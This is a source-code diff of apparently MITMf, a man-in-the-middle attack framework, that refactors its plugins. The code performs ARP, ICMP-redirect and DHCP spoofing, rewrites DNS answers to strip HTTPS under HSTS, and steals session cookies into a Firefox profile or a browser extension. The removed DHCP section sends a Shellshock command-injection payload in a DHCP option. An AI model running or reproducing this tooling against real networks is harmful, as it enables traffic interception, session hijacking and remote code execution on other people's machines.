# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.Inject import Inject
import sys
@ -15,11 +35,12 @@ class SMBAuth(Inject, Plugin):
def initialize(self, options):
Inject.initialize(self, options)
self.target_ip = options.host
self.html_payload = self._get_data()
if not self.target_ip:
self.target_ip = options.ip_address
self.html_payload = self._get_data()
def add_options(self, options):
options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")

View file

@ -1,23 +1,133 @@
from plugins.plugin import Plugin
from libs.sslstrip.URLMonitor import URLMonitor
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
import dns.resolver
import logging
from plugins.plugin import Plugin
from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor
from core.wrappers.nfqueue import Nfqueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
class HSTSbypass(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.2"
version = "0.3"
has_opts = False
req_root = False
req_root = True
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
try:
config = options.configfile['SSLstrip+']
except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
if not options.manualiptables:
SystemConfig.iptables.DNS(1)
self.dns = DNSmirror(1)
self.dns.hstscfg = config
self.dns.start()
print "| |_ SSLstrip+ by Leonardo Nve running"
URLMonitor.getInstance().setHstsBypass(config)
def finish(self):
self.dns.stop()
if not self.manualiptables:
SystemConfig.iptables.Flush()
class DNSmirror(Nfqueue):
hstscfg = None
def callback(self, payload):
try:
#logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.iteritems():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(mpkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.info("Error resolving " + domain)

View file

@ -1,7 +1,27 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
from plugins.plugin import Plugin
from libs.publicsuffix import PublicSuffixList
from core.publicsuffix.publicsuffix import PublicSuffixList
from urlparse import urlparse
import threading
import os
@ -56,8 +76,6 @@ class SessionHijacker(Plugin):
if 'cookie' in headers:
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
if self.firefox:
url = "http://" + headers['host'] + request.getPathFromUri()
for cookie in headers['cookie'].split(';'):
@ -66,8 +84,20 @@ class SessionHijacker(Plugin):
cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
logging.info("%s << Inserted cookie into firefox db" % client_ip)
if self.mallory:
if len(self.sessions) > 0:
temp = []
for session in self.sessions:
temp.append(session[0])
if headers['host'] not in temp:
self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip)
else:
self.sessions.append((headers['host'], headers['cookie']))
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
logging.info("%s Sent cookie to browser extension" % client_ip)
#def handleHeader(self, request, key, value): # Server => Client
@ -146,7 +176,6 @@ class SessionHijacker(Plugin):
expire_date = 2000000000 #Year2033
now = int(time.time()) - 600
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
logging.info("%s << Inserted cookie into firefox db" % ip)
def add_options(self, options):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds
from plugins.plugin import Plugin

View file

@ -1,25 +1,40 @@
import dns.resolver
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import os
import sys
import threading
import binascii
import random
from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from core.wrappers.nfqueue import Nfqueue
from plugins.plugin import Plugin
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
from netfilterqueue import NetfilterQueue
from libs.sslstrip.DnsCache import DnsCache
from plugins.plugin import Plugin
from time import sleep
from base64 import b64decode
from urllib import unquote
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
version = "0.4"
version = "0.5"
has_opts = True
req_root = True
@ -28,63 +43,49 @@ class Spoof(Plugin):
self.options = options
self.dnscfg = options.configfile['Spoof']['DNS']
self.dhcpcfg = options.configfile['Spoof']['DHCP']
self.hstscfg = options.configfile['SSLstrip+']
self.target = options.target
self.manualiptables = options.manualiptables
self.protocolInstances = []
#Makes scapy more verbose
debug = False
if self.options.log_level is 'debug':
if options.log_level is 'debug':
debug = True
self.sysconfig = SystemConfig(options.listen)
if options.arp:
if not options.gateway:
sys.exit("[-] --arp argument requires --gateway")
self.sysconfig.set_forwarding(1)
arp = _ARP(options.gateway, options.interface, options.mac_address)
arp.target = options.target
arp.arpmode = options.arpmode
arp.debug = debug
if not options.manualiptables:
self.sysconfig.iptables_flush()
self.sysconfig.iptables_http()
self.arp = _ARP(options.gateway, options.interface, options.mac_address)
self.arp.target = options.target
self.arp.arpmode = options.arpmode
self.arp.debug = debug
self.arp.start()
self.protocolInstances.append(arp)
elif options.icmp:
if not options.gateway:
sys.exit("[-] --icmp argument requires --gateway")
if not options.target:
sys.exit("[-] --icmp argument requires --target")
self.sysconfig.set_forwarding(1)
icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
icmp.debug = debug
if not options.manualiptables:
self.sysconfig.iptables_flush()
self.sysconfig.iptables_http()
self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
self.icmp.debug = debug
self.icmp.start()
self.protocolInstances.append(icmp)
elif options.dhcp:
if options.target:
sys.exit("[-] --target argument invalid when DCHP spoofing")
self.sysconfig.set_forwarding(1)
if not options.manualiptables:
self.sysconfig.iptables_flush()
self.sysconfig.iptables_http()
self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
self.dhcp.shellshock = options.shellshock
self.dhcp.debug = debug
self.dhcp.start()
dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
dhcp.shellshock = options.shellshock
dhcp.debug = debug
self.protocolInstances.append(dhcp)
else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
@ -92,27 +93,26 @@ class Spoof(Plugin):
if options.dns:
if not options.manualiptables:
self.sysconfig.iptables_dns(0)
SystemConfig.iptables.DNS(0)
dnscache = DnsCache.getInstance()
for domain, ip in self.dnscfg.items():
for domain, ip in self.dnscfg.iteritems():
dnscache.cacheResolution(domain, ip)
self.dns = _DNS(0)
self.dns.dnscfg = self.dnscfg
self.dns.dns = True
self.dns.start()
dns = DNStamper(0)
dns.dnscfg = self.dnscfg
if options.hsts:
self.protocolInstances.append(dns)
SystemConfig.setIpForwarding(1)
if not options.manualiptables:
self.sysconfig.iptables_dns(1)
SystemConfig.iptables.HTTP(options.listen)
self.dns_hsts = _DNS(1)
self.dns_hsts.hstscfg = self.hstscfg
self.dns_hsts.hsts = True
self.dns_hsts.start()
for protocol in self.protocolInstances:
protocol.start()
def add_options(self, options):
group = options.add_mutually_exclusive_group(required=False)
@ -126,300 +126,23 @@ class Spoof(Plugin):
options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
#added by alexander.georgiev@daloo.de
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
def finish(self):
if self.options.arp:
self.arp.stop()
sleep(3)
self.arp.arp_inter = 1
if self.target:
print "\n[*] Re-ARPing target"
self.arp.reARP_target(5)
print "\n[*] Re-ARPing network"
self.arp.reARP_net(5)
elif self.options.icmp:
self.icmp.stop()
sleep(3)
if self.options.dns:
self.dns.stop()
if self.options.hsts:
self.dns_hsts.stop()
for protocol in self.protocolInstances:
protocol.stop()
if not self.manualiptables:
self.sysconfig.iptables_flush()
SystemConfig.iptables.Flush()
self.sysconfig.set_forwarding(0)
SystemConfig.setIpForwarding(0)
class SystemConfig():
def __init__(self, http_redir_port):
class DNStamper(Nfqueue):
self.http_redir_port = http_redir_port
def set_forwarding(self, value):
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
def iptables_flush(self):
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
def iptables_http(self):
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
def iptables_dns(self, queue_number):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
class _DHCP():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
self.ip_address = ip
self.mac_address = mac
self.shellshock = None
self.debug = False
self.dhcpcfg = dhcpcfg
self.rand_number = []
self.dhcp_dic = {}
def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
t.setDaemon(True)
t.start()
def dhcp_sniff(self, interface):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
return rand_ip
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1:
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
logging.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
dnscfg = None
def callback(self, payload):
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3:
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
if self.shellshock:
logging.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
logging.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)
class _ICMP():
def __init__(self, interface, target, gateway, ip_address):
self.target = target
self.gateway = gateway
self.interface = interface
self.ip_address = ip_address
self.debug = False
self.send = True
self.icmp_interval = 2
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
def start(self):
pkt = self.build_icmp()
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
t.setDaemon(True)
t.start()
def stop(self):
self.send = False
def send_icmps(self, pkt, interface, debug):
while self.send:
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
class _ARP():
def __init__(self, gateway, interface, mac):
self.gateway = gateway
self.gatewaymac = getmacbyip(gateway)
self.mac = mac
self.target = None
self.targetmac = None
self.interface = interface
self.arpmode = 'req'
self.debug = False
self.send = True
self.arp_inter = 3
def start(self):
if self.gatewaymac is None:
sys.exit("[-] Error: Could not resolve gateway's MAC address")
if self.target:
self.targetmac = getmacbyip(self.target)
if self.targetmac is None:
sys.exit("[-] Error: Could not resolve target's MAC address")
if self.arpmode == 'req':
pkt = self.build_arp_req()
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
t.setDaemon(True)
t.start()
def send_arps(self, pkt, interface, debug):
while self.send:
sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
def stop(self):
self.send = False
def build_arp_req(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
elif self.target:
pkt = Ether(src=self.mac, dst=self.targetmac)/\
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
return pkt
def build_arp_rep(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
pkt = Ether(src=self.mac, dst=self.targetmac)/\
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
return pkt
def reARP_net(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
def reARP_target(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
class _DNS():
def __init__(self, queue_number):
self.hsts = False
self.dns = False
self.dnscfg = None
self.hstscfg = None
self.queue_number = queue_number
self.nfqueue = NetfilterQueue()
def start(self):
t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
t.setDaemon(True)
t.start()
def nfqueue_bind(self):
self.nfqueue.bind(self.queue_number, self.nfqueue_callback)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.info("Error resolving " + domain)
def nfqueue_callback(self, payload):
try:
#logging.debug(payload)
logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
@ -427,58 +150,27 @@ class _DNS():
if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
for k, v in self.dnscfg.iteritems():
if k == pkt[DNSQR].qname[:-1]:
self.modify_dns(payload, pkt, v)
return
payload.accept()
elif self.hsts:
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.items():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.accept()
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt))
payload.set_payload(str(mpkt))
payload.accept()
except Exception, e:

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin